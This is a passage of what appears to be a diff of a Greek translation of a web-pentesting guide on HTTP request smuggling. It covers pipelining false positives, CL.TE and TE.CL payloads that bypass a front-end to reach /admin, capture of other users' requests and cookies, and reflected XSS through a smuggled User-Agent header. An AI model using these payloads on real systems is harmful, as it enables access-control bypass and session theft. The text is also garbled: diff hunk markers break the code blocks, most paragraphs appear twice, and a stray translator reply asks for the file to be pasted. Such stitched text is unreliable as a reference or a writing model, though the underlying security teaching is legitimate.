Αφού επιβεβαιώσετε την αποτελεσματικότητα των τεχνικών χρονομέτρησης, είναι κρίσιμο να επαληθεύσετε εάν τα αιτήματα του client μπορούν να χειραγωγηθούν. Μια απλή μέθοδος είναι να προσπαθήσετε να "poison" τα αιτήματα σας, για παράδειγμα κάνοντας ένα αίτημα προς το `/` να επιστρέψει 404. Τα παραδείγματα `CL.TE` και `TE.CL` που συζητήθηκαν προηγουμένως στο [Basic Examples](#basic-examples) δείχνουν πώς να δηλητηριάσετε το αίτημα ενός client ώστε να προκαλέσετε μια απάντηση 404, παρά το ότι ο client προσπαθούσε να προσπελάσει διαφορετικό resource.
**Κύρια σημεία προς εξέταση**
**Βασικά Σημεία**
Κατά τη δοκιμή για request smuggling παρεμβαίνοντας σε άλλα αιτήματα, λάβετε υπόψη:
Κατά τη δοκιμή για request smuggling ευπάθειες με την παρέμβαση σε άλλα αιτήματα, λάβετε υπόψη:
- **Διακριτές δικτυακές συνδέσεις:** Τα "attack" και "normal" αιτήματα πρέπει να αποστέλλονται μέσω ξεχωριστών δικτυακών συνδέσεων. Χρήση της ίδιας σύνδεσης και για τα δύο δεν επιβεβαιώνει την ύπαρξη ευπάθειας.
- **Συνεπές URL και παράμετροι:** Προσπαθήστε να χρησιμοποιήσετε τα ίδια URLs και ονόματα παραμέτρων για και τα δύο αιτήματα. Οι σύγχρονες εφαρμογές συχνά δρομολογούν αιτήματα σε συγκεκριμένους back-end servers βάσει URL και παραμέτρων. Η αντιστοιχία αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο server, προαπαιτούμενο για μια επιτυχημένη επίθεση.
- **Χρονισμός και συνθήκες αγώνα (racing):** Το "normal" αίτημα, που προορίζεται για την ανίχνευση παρεμβολής από το "attack" αίτημα, ανταγωνίζεται άλλα ταυτόχρονα αιτήματα της εφαρμογής. Για αυτό, στείλτε το "normal" αίτημα αμέσως μετά το "attack" αίτημα. Πολυφορτωμένες εφαρμογές μπορεί να απαιτούν πολλαπλές δοκιμές για σίγουρη επιβεβαίωση της ευπάθειας.
- **Προκλήσεις Load Balancing:** Front-end servers που λειτουργούν ως load balancers μπορεί να διανέμουν τα αιτήματα σε διάφορα back-end συστήματα. Αν τα "attack" και "normal" αιτήματα καταλήξουν σε διαφορετικά συστήματα, η επίθεση δεν θα πετύχει. Αυτό το θέμα με το load balancing μπορεί να απαιτήσει πολλαπλές προσπάθειες για να επιβεβαιωθεί μια ευπάθεια.
- **Ακούσιος αντίκτυπος σε χρήστες:** Αν η επίθεσή σας επηρεάσει ακούσια το αίτημα κάποιου άλλου χρήστη (όχι το "normal" αίτημα που στείλατε για ανίχνευση), αυτό δείχνει ότι η επίθεσή σας επηρέασε άλλον χρήστη της εφαρμογής. Συνεχής δοκιμή μπορεί να διαταράξει άλλους χρήστες, απαιτώντας προσεκτική προσέγγιση.
- **Distinct Network Connections:** Τα "attack" και "normal" αιτήματα πρέπει να αποστέλλονται μέσω ξεχωριστών συνδέσεων δικτύου. Η χρήση της ίδιας σύνδεσης και για τα δύο δεν επικυρώνει την ύπαρξη ευπάθειας.
- **Consistent URL and Parameters:** Προσπαθήστε να χρησιμοποιήσετε τα ίδια URLs και ονόματα παραμέτρων και για τα δύο αιτήματα. Οι σύγχρονες εφαρμογές συχνά δρομολογούν αιτήματα σε συγκεκριμένους back-end servers βάσει του URL και των παραμέτρων. Η ταύτιση αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο server, προαπαιτούμενο για επιτυχημένη επίθεση.
- **Timing and Racing Conditions:** Το "normal" αίτημα, που προορίζεται να ανιχνεύσει παρεμβολή από το "attack" αίτημα, ανταγωνίζεται και άλλα ταυτόχρονα αιτήματα της εφαρμογής. Επομένως, στείλτε το "normal" αίτημα αμέσως μετά το "attack" αίτημα. Σε απασχολημένες εφαρμογές μπορεί να χρειαστούν πολλαπλές δοκιμές για οριστική επιβεβαίωση ευπάθειας.
- **Load Balancing Challenges:** Front-end servers που λειτουργούν ως load balancers μπορεί να κατανέμουν τα αιτήματα σε διάφορα back-end συστήματα. Εάν το "attack" και το "normal" αίτημα φτάσουν σε διαφορετικά συστήματα, η επίθεση δεν θα πετύχει. Αυτό το ζήτημα του load balancing μπορεί να απαιτήσει αρκετές προσπάθειες για να επιβεβαιωθεί μια ευπάθεια.
- **Unintended User Impact:** Εάν η επίθεσή σας επηρεάσει ακούσια το αίτημα κάποιου άλλου χρήστη (όχι το "normal" αίτημα που στείλατε για ανίχνευση), αυτό δείχνει ότι η επίθεσή σας επηρέασε άλλο χρήστη της εφαρμογής. Συνεχής δοκιμή μπορεί να διαταράξει άλλους χρήστες, οπότε απαιτείται προσεκτική προσέγγιση.
## Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling
## Διαχωρισμός artifacts του HTTP/1.1 pipelining από το πραγματικό request smuggling
Η επαναχρησιμοποίηση σύνδεσης (keep-alive) και το pipelining μπορούν εύκολα να παράγουν ψευδαισθήσεις "smuggling" σε εργαλεία δοκιμών που στέλνουν πολλαπλά αιτήματα στην ίδια socket. Μάθετε να διαχωρίζετε τα ακίνδυνα client-side artifacts από τον πραγματικό server-side desync.
Η επαναχρησιμοποίηση σύνδεσης (keep-alive) και το pipelining μπορούν εύκολα να δημιουργήσουν ψευδείς εντυπώσεις "smuggling" σε εργαλεία δοκιμών που στέλνουν πολλαπλά αιτήματα στην ίδια socket. Μάθετε να διαχωρίζετε αβλαβή client-side artifacts από πραγματικό server-side desync.
### Γιατί το pipelining δημιουργεί κλασικά false positives
Το HTTP/1.1 επαναχρησιμοποιεί μια ενιαία TCP/TLS σύνδεση και συρράπτει (concatenates) αιτήματα και απαντήσεις στο ίδιο stream. Στο pipelining, ο client στέλνει πολλαπλά αιτήματα το ένα μετά το άλλο και βασίζεται σε απαντήσεις με τη σειρά. Ένα κοινό false-positive είναι η επανεκπομπή ενός κακοσχηματισμένου CL.0-style payload δύο φορές στην ίδια σύνδεση:
Το HTTP/1.1 επαναχρησιμοποιεί μία TCP/TLS σύνδεση και συγχωνεύει αιτήματα και απαντήσεις στην ίδια ροή. Στο pipelining, ο client στέλνει πολλαπλά αιτήματα το ένα μετά το άλλο και βασίζεται σε απαντήσεις με τη σωστή σειρά. Ένα κοινό false-positive είναι να επαναστείλει κανείς ένα κακοσχηματισμένο payload τύπου CL.0 δύο φορές σε μία σύνδεση:
```
POST / HTTP/1.1
Host: hackxor.net
@ -343,7 +343,7 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Παρακαλώ επικολλήστε το περιεχόμενο του αρχείου src/pentesting-web/http-request-smuggling/README.md που θέλετε να μεταφράσω στα Ελληνικά. Θα διατηρήσω ανέπαφα τα markdown, τα tags, τα links και τα paths όπως ζητήθηκε.
Οι αποκρίσεις μπορεί να μοιάζουν ως εξής:
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -357,7 +357,7 @@ Content-Type: text/plain
User-agent: *
Disallow: /settings
```
Εάν ο server αγνόησε το κακομορφωμένο `Content_Length`, δεν υπάρχει FE↔BE desync. Με reuse, ο client σας στην πραγματικότητα έστειλε αυτό το byte-stream, το οποίο ο server ανέλυσε ως δύο ανεξάρτητα requests:
Αν ο server αγνόησε το ελαττωματικό `Content_Length`, δεν υπάρχει FE↔BE desync. Με reuse, ο client σας στην πραγματικότητα έστειλε αυτό το byte-stream, το οποίο ο server ανάλυσε ως δύο ανεξάρτητα requests:
```
POST / HTTP/1.1
Host: hackxor.net
@ -374,52 +374,51 @@ X: Y
Impact: none. You just desynced your client from the server framing.
> [!TIP]
> Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
> Burp modules που εξαρτώνται από reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
### Litmus tests: pipelining or real desync?
1. Disable reuse and re-test
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
- In Turbo Intruder, set `requestsPerConnection=1` and `pipeline=False`.
- If the behavior disappears, it was likely client-side pipelining, unless youre dealing with connection-locked/stateful targets or client-side desync.
- Σε Burp Intruder/Repeater, απενεργοποιήστε το HTTP/1 reuse και αποφύγετε το "Send group in sequence".
- Σε Turbo Intruder, ορίστε `requestsPerConnection=1` και `pipeline=False`.
- Αν η συμπεριφορά εξαφανιστεί, πιθανότατα ήταν client-side pipelining, εκτός κι αν έχετε να κάνετε με connection-locked/stateful targets ή client-side desync.
2. HTTP/2 nested-response check
- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, youve proven a backend parsing/desync bug instead of a pure client artifact.
- Στείλτε ένα HTTP/2 request. Αν το response body περιέχει μια πλήρη nested HTTP/1 response, έχετε αποδείξει bug parsing/desync στο backend αντί για ένα καθαρά client artifact.
3. Partial-requests probe for connection-locked front-ends
- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
- See PortSwigger "BrowserPowered Desync Attacks" for the connection-locked technique.
- Κάποια FEs επαναχρησιμοποιούν την upstream BE σύνδεση μόνο αν ο client επαναχρησιμοποίησε τη δική του. Χρησιμοποιήστε partial-requests για να εντοπίσετε FE συμπεριφορά που καθρεφτίζει το client reuse.
- Δείτε PortSwigger "BrowserPowered Desync Attacks" για την τεχνική connection-locked.
4. State probes
- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
- Burp "HTTP Request Smuggler" includes a connectionstate probe that automates this.
- Ψάξτε για διαφορές first- vs subsequent-request στην ίδια TCP σύνδεση (first-request routing/validation).
- Το Burp "HTTP Request Smuggler" περιλαμβάνει ένα connectionstate probe που αυτοματοποιεί αυτό.
5. Visualize the wire
- Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
- Χρησιμοποιήστε το Burp "HTTP Hacker" extension για να επιθεωρήσετε concatenation και message framing απευθείας ενώ πειραματίζεστε με reuse και partial requests.
### Connectionlocked request smuggling (reuse-required)
Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
- Prove the server-side bug
- Use the HTTP/2 nested-response check, or
- Use partial-requests to show the FE only reuses upstream when the client does.
- Show real impact even if direct cross-user socket abuse is blocked:
- Cache poisoning: poison shared caches via the desync so responses affect other users.
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
Κάποια front-ends επαναχρησιμοποιούν την upstream σύνδεση μόνο όταν ο client επαναχρησιμοποιεί τη δική του. Υπάρχει πραγματικό smuggling αλλά είναι υπό όρους στο client-side reuse. Για να διαφοροποιήσετε και να αποδείξετε impact:
- Αποδείξτε το server-side bug
- Χρησιμοποιήστε το HTTP/2 nested-response check, ή
- Χρησιμοποιήστε partial-requests για να δείξετε ότι το FE επαναχρησιμοποιεί upstream μόνο όταν το κάνει και ο client.
- Δείξτε πραγματικό impact ακόμα κι αν το άμεσο cross-user socket abuse είναι μπλοκαρισμένο:
- Cache poisoning: poison shared caches μέσω του desync έτσι ώστε responses να επηρεάζουν άλλους χρήστες.
- Internal header disclosure: να αντανακλώνται FE-injected headers (π.χ. auth/trust headers) και pivot σε auth bypass.
- Bypass FE controls: smuggle restricted paths/methods πέρα από το front-end.
- Host-header abuse: συνδυάστε με host routing quirks για pivot σε internal vhosts.
- Operator workflow
- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
- Αναπαράγετε με ελεγχόμενο reuse (Turbo Intruder `requestsPerConnection=2`, ή Burp Repeater tab group → "Send group in sequence (single connection)").
- Έπειτα κάντε chain σε cache/header-leak/control-bypass primitives και δείξτε cross-user ή authorization impact.
> See also connectionstate attacks, which are closely related but not technically smuggling:
>
>{{#ref}}
>../http-connection-request-smuggling.md
>
{{#endref}}
>{{#endref}}
### Clientside desync constraints
If youre targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks wont work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
Αν στοχεύετε browser-powered/client-side desync, το malicious request πρέπει να μπορεί να σταλεί από browser cross-origin. Τα header obfuscation tricks δεν θα δουλέψουν. Επικεντρωθείτε σε primitives που είναι προσβάσιμα μέσω navigation/fetch, και μετά pivot σε cache poisoning, header disclosure, ή front-end control bypass όπου downstream components αντανακλούν ή cache-άρουν responses.
For background and end-to-end workflows:
Για background και end-to-end workflows:
{{#ref}}
browser-http-request-smuggling.md
@ -427,10 +426,10 @@ browser-http-request-smuggling.md
### Tooling to help decide
- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
- HTTP Hacker (Burp BApp Store): εκθέτει low-level HTTP behavior και socket concatenation.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
- Burp HTTP Request Smuggler: includes a connectionstate probe to spot firstrequest routing/validation.
- Burp HTTP Request Smuggler: περιλαμβάνει ένα connectionstate probe για να εντοπίζει firstrequest routing/validation.
> [!NOTE]
> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
@ -439,9 +438,9 @@ browser-http-request-smuggling.md
### Circumventing Front-End Security via HTTP Request Smuggling
Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
Μερικές φορές, τα front-end proxies επιβάλλουν security measures, εξετάζοντας τα εισερχόμενα requests. Παρ’ όλα αυτά, αυτά τα μέτρα μπορούν να παρακαμφθούν εκμεταλλευόμενοι HTTP Request Smuggling, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε restricted endpoints. Για παράδειγμα, η πρόσβαση στο `/admin` μπορεί να απαγορεύεται εξωτερικά, με το front-end proxy να μπλοκάρει ενεργά τέτοιες προσπάθειες. Ωστόσο, αυτό το proxy μπορεί να παραλείψει τον έλεγχο embedded requests μέσα σε ένα smuggled HTTP request, αφήνοντας ένα κενό για bypass αυτών των περιορισμών.
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
Σκεφτείτε τα ακόλουθα παραδείγματα που δεικνύουν πώς το HTTP Request Smuggling μπορεί να χρησιμοποιηθεί για να παρακάμψει front-end security controls, στοχεύοντας ειδικά το path `/admin` που συνήθως φυλάσσεται από το front-end proxy:
**CL.TE Example**
```
@ -460,9 +459,9 @@ Content-Length: 10
x=
```
Στην επίθεση CL.TE, η κεφαλίδα `Content-Length` χρησιμοποιείται για το αρχικό αίτημα, ενώ το επακόλουθο ενσωματωμένο αίτημα χρησιμοποιεί την κεφαλίδα `Transfer-Encoding: chunked`. Ο front-end proxy επεξεργάζεται το αρχικό αίτημα `POST` αλλά αποτυγχάνει να ελέγξει το ενσωματωμένο αίτημα `GET /admin`, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στη διαδρομή `/admin`.
Στην επίθεση CL.TE, η κεφαλίδα `Content-Length` χρησιμοποιείται για το αρχικό αίτημα, ενώ το επακόλουθο ενσωματωμένο αίτημα αξιοποιεί την κεφαλίδα `Transfer-Encoding: chunked`. Ο front-end proxy επεξεργάζεται το αρχικό αίτημα `POST` αλλά αποτυγχάνει να εξετάσει το ενσωματωμένο αίτημα `GET /admin`, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στη διαδρομή `/admin`.
**TE.CL Example**
**TE.CL Παράδειγμα**
```
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
@ -478,13 +477,13 @@ a=x
0
```
Αντιστρόφως, στην επίθεση TE.CL, το αρχικό `POST` request χρησιμοποιεί `Transfer-Encoding: chunked`, και το επακόλουθο ενσωματωμένο request επεξεργάζεται με βάση το header `Content-Length`. Παρόμοια με την επίθεση CL.TE, ο front-end proxy παραβλέπει το smuggled `GET /admin` request, δίνοντας ακούσια πρόσβαση στο περιορισμένο μονοπάτι `/admin`.
Αντιθέτως, στην επίθεση TE.CL, το αρχικό `POST` request χρησιμοποιεί `Transfer-Encoding: chunked`, και το επακόλουθο ενσωματωμένο request επεξεργάζεται με βάση την κεφαλίδα `Content-Length`. Όπως και στην επίθεση CL.TE, ο front-end proxy παραβλέπει το smuggled `GET /admin` request, δίνοντας κατά λάθος πρόσβαση στην προστατευμένη διαδρομή `/admin`.
### Αποκάλυψη front-end request rewriting <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Εφαρμογές συχνά χρησιμοποιούν έναν **front-end server** για να τροποποιούν τα εισερχόμενα requests πριν τα προωθήσουν στον back-end server. Μια τυπική τροποποίηση περιλαμβάνει την προσθήκη headers, όπως `X-Forwarded-For: <IP of the client>`, για να μεταδώσουν το IP του client στο back-end. Η κατανόηση αυτών των τροποποιήσεων μπορεί να είναι κρίσιμη, καθώς μπορεί να αποκαλύψει τρόπους για **bypass protections** ή **uncover concealed information or endpoints**.
Οι εφαρμογές συχνά χρησιμοποιούν έναν **front-end server** για να τροποποιούν τα εισερχόμενα requests πριν τα προωθήσουν στον back-end server. Μια τυπική τροποποίηση είναι η προσθήκη headers, όπως `X-Forwarded-For: <IP of the client>`, για να μεταφέρουν το IP του client στον back-end. Η κατανόηση αυτών των τροποποιήσεων μπορεί να είναι κρίσιμη, καθώς μπορεί να αποκαλύψει τρόπους για να **bypass protections** ή να **uncover concealed information or endpoints**.
Για να διερευνήσετε πώς ένας proxy τροποποιεί ένα request, εντοπίστε ένα POST parameter που ο back-end echoes στην response. Στη συνέχεια, στήστε ένα request, χρησιμοποιώντας αυτό το parameter τελευταίο, παρόμοιο με το ακόλουθο:
Για να διερευνήσετε πώς ένας proxy τροποποιεί ένα request, εντοπίστε ένα POST parameter που ο back-end το αντικατοπτρίζει στην response. Έπειτα, δημιουργήστε ένα request, χρησιμοποιώντας αυτό το parameter τελευταίο, παρόμοιο με το ακόλουθο:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -501,19 +500,19 @@ Content-Length: 100
search=
```
Σε αυτή τη δομή, τα επόμενα στοιχεία του αιτήματος προστίθενται μετά το `search=`, η οποία είναι η παράμετρος που αντανακλάται στην απάντηση. Αυτή η ανάκλαση θα αποκαλύψει τις κεφαλίδες του επόμενου αιτήματος.
Σ' αυτή τη δομή, τα επακόλουθα στοιχεία του αιτήματος προστίθενται μετά το `search=`, που είναι η παράμετρος που ανακλάται στην απάντηση. Αυτή η ανάκλαση θα αποκαλύψει τις κεφαλίδες του επόμενου αιτήματος.
Είναι σημαντικό να ευθυγραμμιστεί η κεφαλίδα `Content-Length` του nested request με το πραγματικό μήκος του περιεχομένου. Είναι προτιμότερο να ξεκινήσετε με μια μικρή τιμή και να την αυξάνετε σταδιακά, καθώς μια πολύ χαμηλή τιμή θα αποκόψει τα αντανακλόμενα δεδομένα, ενώ μια πολύ υψηλή τιμή μπορεί να προκαλέσει σφάλμα στο αίτημα.
Είναι σημαντικό να ευθυγραμμιστεί η κεφαλίδα `Content-Length` του ενθεμένου αιτήματος με το πραγματικό μήκος περιεχομένου. Συνίσταται να ξεκινάτε με μια μικρή τιμή και να αυξάνετε σταδιακά, καθώς μια πολύ μικρή τιμή θα αποκόψει τα ανακλώμενα δεδομένα, ενώ μια πολύ μεγάλη τιμή μπορεί να προκαλέσει σφάλμα στο αίτημα.
Αυτή η τεχνική ισχύει επίσης στο πλαίσιο μιας TE.CL ευπάθειας, αλλά το αίτημα πρέπει να τερματίζει με `search=\r\n0`. Ανεξάρτητα από τους χαρακτήρες νέας γραμμής, οι τιμές θα προστίθενται στην παράμετρο `search`.
Αυτή η τεχνική εφαρμόζεται επίσης στο πλαίσιο μιας ευπάθειας TE.CL, αλλά το αίτημα πρέπει να τερματίζει με `search=\r\n0`. Ανεξάρτητα από τους χαρακτήρες νέας γραμμής, οι τιμές θα προσαρτηθούν στην παράμετρο search.
Αυτή η μέθοδος εξυπηρετεί κυρίως την κατανόηση των τροποποιήσεων του αιτήματος που πραγματοποιεί το front-end proxy, ουσιαστικά διεξάγοντας μια αυτοκατευθυνόμενη διερεύνηση.
Αυτή η μέθοδος χρησιμεύει κυρίως για να κατανοήσετε τις τροποποιήσεις των αιτημάτων που πραγματοποιεί ο front-end proxy, ουσιαστικά εκτελώντας μια αυτοκατευθυνόμενη έρευνα.
### Καταγραφή αιτημάτων άλλων χρηστών <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
### Καταγραφή των αιτημάτων άλλων χρηστών <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
Είναι εφικτό να καταγράψετε τα αιτήματα του επόμενου χρήστη προσθέτοντας ένα συγκεκριμένο αίτημα ως τιμή μιας παραμέτρου κατά τη διάρκεια μιας POST ενέργειας. Να πώς μπορεί να επιτευχθεί αυτό:
Είναι εφικτό να καταγράψετε τα αιτήματα του επόμενου χρήστη προσθέτοντας ένα συγκεκριμένο αίτημα ως τιμή μιας παραμέτρου κατά τη διάρκεια μιας POST ενέργειας. Δείτε πώς μπορεί να επιτευχθεί αυτό:
Προσθέτοντας το παρακάτω αίτημα ως την τιμή μιας παραμέτρου, μπορείτε να αποθηκεύσετε το αίτημα του επόμενου πελάτη:
Προσθέτοντας το ακόλουθο αίτημα ως τιμή μιας παραμέτρου, μπορείτε να αποθηκεύσετε το επακόλουθο αίτημα του πελάτη:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -533,20 +532,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
Σε αυτό το σενάριο, το **comment parameter** προορίζεται για την αποθήκευση του περιεχομένου της ενότητας σχολίων μιας ανάρτησης σε μια δημόσια προσβάσιμη σελίδα. Συνεπώς, το περιεχόμενο του επόμενου request θα εμφανιστεί ως σχόλιο.
Σε αυτό το σενάριο, ο **comment parameter** προορίζεται να αποθηκεύσει τα περιεχόμενα στην ενότητα σχολίων μιας ανάρτησης σε μια δημόσια προσβάσιμη σελίδα. Συνεπώς, τα περιεχόμενα του επακόλουθου αιτήματος θα εμφανιστούν ως σχόλιο.
Ωστόσο, αυτή η τεχνική έχει περιορισμούς. Γενικά, καταγράφει δεδομένα μόνο μέχρι τον διαχωριστή παραμέτρων που χρησιμοποιείται στο smuggled request. Για υποβολές φορμών URL-encoded, αυτός ο διαχωριστής είναι ο χαρακτήρας `&`. Αυτό σημαίνει ότι το καταγραφόμενο περιεχόμενο από το request του θύματος θα σταματήσει στο πρώτο `&`, το οποίο μπορεί ακόμη και να είναι μέρος του query string.
Ωστόσο, αυτή η τεχνική έχει περιορισμούς. Γενικά, καταγράφει δεδομένα μόνο μέχρι τον διαχωριστή παραμέτρου που χρησιμοποιείται στο smuggled request. Για URL-encoded form submissions, αυτός ο διαχωριστής είναι ο χαρακτήρας `&`. Αυτό σημαίνει ότι το καταγεγραμμένο περιεχόμενο από το αίτημα του θύματος θα σταματήσει στο πρώτο `&`, το οποίο μπορεί ακόμη και να αποτελεί μέρος του query string.
Επιπλέον, αξίζει να σημειωθεί ότι αυτή η προσέγγιση είναι επίσης εφαρμόσιμη σε ευπάθεια TE.CL. Σε τέτοιες περιπτώσεις, το request πρέπει να τελειώνει με `search=\r\n0`. Ανεξάρτητα από τους χαρακτήρες αλλαγής γραμμής, οι τιμές θα προσαρτηθούν στην παράμετρο search.
Επιπλέον, αξίζει να σημειωθεί ότι αυτή η προσέγγιση είναι επίσης εφαρμόσιμη με μια TE.CL vulnerability. Σε τέτοιες περιπτώσεις, το αίτημα θα πρέπει να τελειώνει με `search=\r\n0`. Ανεξάρτητα από χαρακτήρες newline, οι τιμές θα προσαρτηθούν στην παράμετρο search.
### Χρήση HTTP request smuggling για εκμετάλλευση του reflected XSS
### Χρήση HTTP request smuggling για εκμετάλλευση του Reflected XSS
Το HTTP Request Smuggling μπορεί να αξιοποιηθεί για την εκμετάλλευση ιστοσελίδων ευάλωτων σε **Reflected XSS**, προσφέροντας σημαντικά πλεονεκτήματα:
HTTP Request Smuggling μπορεί να αξιοποιηθεί για να εκμεταλλευτεί σελίδες που είναι ευάλωτες σε **Reflected XSS**, προσφέροντας σημαντικά πλεονεκτήματα:
- Η αλληλεπίδραση με τους στοχευόμενους χρήστες **δεν απαιτείται**.
- Επιτρέπει την εκμετάλλευση του XSS σε μέρη του request που είναι **κανονικά απρόσιτα**, όπως τα HTTP request headers.
- Επιτρέπει την εκμετάλλευση του XSS σε μέρη του αιτήματος που είναι **συνήθως απρόσιτα**, όπως τα HTTP request headers.
Σε σενάρια όπου μια ιστοσελίδα είναι ευάλωτη σε Reflected XSS μέσω του User-Agent header, το ακόλουθο payload δείχνει πώς να εκμεταλλευτείτε αυτή την ευπάθεια:
Σε περιπτώσεις όπου μια ιστοσελίδα είναι ευάλωτη σε Reflected XSS μέσω της κεφαλίδας User-Agent, το ακόλουθο payload δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -567,26 +566,26 @@ Content-Type: application/x-www-form-urlencoded
A=
```
Αυτό το payload έχει δομή για να εκμεταλλευτεί την ευπάθεια ως εξής:
Αυτό το payload είναι δομημένο για να εκμεταλλευτεί την ευπάθεια με τον εξής τρόπο:
1. Εκκίνηση ενός `POST` request, φαινομενικά τυπικού, με header `Transfer-Encoding: chunked` για να υποδείξει την έναρξη του smuggling.
1. Εκκίνηση ενός `POST` request, φαινομενικά τυπικού, με header `Transfer-Encoding: chunked` για να υποδείξει την έναρξη της smuggling.
2. Ακολουθεί ένα `0`, που σηματοδοτεί το τέλος του chunked message body.
3. Στη συνέχεια, εισάγεται ένα smuggled `GET` request, όπου το header `User-Agent` εγχέεται με ένα script, `<script>alert(1)</script>`, προκαλώντας το XSS όταν ο server επεξεργάζεται αυτό το επακόλουθο request.
3. Έπειτα εισάγεται ένα smuggled `GET` request, όπου το header `User-Agent` εγχέεται με ένα script, `<script>alert(1)</script>`, ενεργοποιώντας το XSS όταν ο server επεξεργαστεί αυτό το επακόλουθο request.
Με την παραποίηση του `User-Agent` μέσω smuggling, το payload παρακάμπτει τους κανονικούς περιορισμούς των requests, εκμεταλλευόμενο έτσι την Reflected XSS ευπάθεια με έναν μη τυπικό αλλά αποτελεσματικό τρόπο.
Με τη χειραγώγηση του `User-Agent` μέσω smuggling, το payload παρακάμπτει τους κανονικούς περιορισμούς των requests, εκμεταλλευόμενο έτσι την Reflected XSS ευπάθεια με έναν μη-τυπικό αλλά αποτελεσματικό τρόπο.
#### HTTP/0.9
> [!CAUTION]
> Σε περίπτωση που το περιεχόμενο του χρήστη αντανακλάται σε μια απάντηση με **`Content-type`** όπως **`text/plain`**, αποτρέποντας την εκτέλεση του XSS. Αν ο server υποστηρίζει **HTTP/0.9 ίσως είναι δυνατόν να παρακαμφθεί αυτό**!
> Σε περίπτωση που το περιεχόμενο του χρήστη αντανακλάται σε απάντηση με **`Content-type`** όπως **`text/plain`**, αποτρέποντας την εκτέλεση του XSS. Εάν ο server υποστηρίζει **HTTP/0.9 μπορεί να είναι δυνατό να παρακαμφθεί αυτό**!
Η έκδοση HTTP/0.9 προϋπήρχε της 1.0 και χρησιμοποιεί μόνο ρήματα **GET** και **δεν** απαντά με **headers**, μόνο το body.
Η έκδοση HTTP/0.9 προηγήθηκε της 1.0 και χρησιμοποιεί μόνο ρήματα **GET** και **δεν** απαντά με **headers**, μόνο με το body.
Στο [**this writeup**](https://mizu.re/post/twisty-python), αυτό καταχράστηκε μέσω request smuggling και ενός **vulnerable endpoint που θα απαντήσει με την είσοδο του χρήστη** για να smuggle ένα request με HTTP/0.9. Η παράμετρος που θα αντανακλάται στην απάντηση περιείχε μια **ψεύτικη HTTP/1.1 response (με headers και body)**, οπότε η απάντηση θα περιείχε έγκυρο εκτελέσιμο JS κώδικα με `Content-Type` `text/html`.
Στο [**this writeup**](https://mizu.re/post/twisty-python), αυτό εκμεταλλεύτηκε με ένα request smuggling και ένα **ευάλωτο endpoint που θα απαντήσει με την είσοδο του χρήστη** για να smuggle ένα request με HTTP/0.9. Η παράμετρος που θα αντανακλαστεί στην απάντηση περιείχε μια **ψεύτικη HTTP/1.1 response (with headers and body)** οπότε η απάντηση θα περιέχει έγκυρο εκτελέσιμο JS κώδικα με `Content-Type` `text/html`.
### Εκμετάλλευση ανακατευθύνσεων εντός του site με HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
